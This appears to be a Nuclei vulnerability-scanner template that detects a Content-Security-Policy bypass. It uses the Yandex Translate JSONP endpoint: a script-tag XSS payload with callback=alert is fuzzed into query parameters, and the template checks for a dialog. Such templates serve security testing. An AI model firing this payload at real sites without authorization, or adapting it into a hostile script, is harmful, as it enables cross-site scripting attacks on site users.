id: yandex-translate-csp-bypass

info:
  name: Content-Security-Policy Bypass - Yandex Translate
  author: renniepak,DhiyaneshDK
  severity: medium
  reference:
    - https://github.com/renniepak/CSPBypass/blob/main/data.tsv
  metadata:
    verified: true
  tags: xss,csp-bypass,yandex-translate,vuln

flow: http(1) && headless(1)

http:
  - method: GET
    path:
      - "{{BaseURL}}"

    matchers:
      - type: word
        part: header
        words:
          - "Content-Security-Policy"
          - "yandex.ru"
        condition: and
        internal: true

headless:
  - steps:
      - action: navigate
        args:
          url: "{{BaseURL}}"

      - action: waitdialog
        name: yandex_translate_csp_xss
        args:
          max-duration: 5s

    payloads:
      injection:
        - '<script src="https://translate.yandex.net/api/v1.5/tr.json/detect?callback=alert"></script>'

    fuzzing:
      - part: query
        type: replace
        mode: single
        fuzz:
          - "{{url_encode(injection)}}"

    matchers:
      - type: dsl
        dsl:
          - "yandex_translate_csp_xss == true"
# digest: 4a0a0047304502204131ed3c73853dd7cd27fd0898c3ed3e14fbf3d55f8270935541f39036ea53ca022100fa30451f88c1a58717e43cd487f23cc2dc9d4930c333768e365041aea5eae4fe:922c64590222798bb761d5b6d8e72950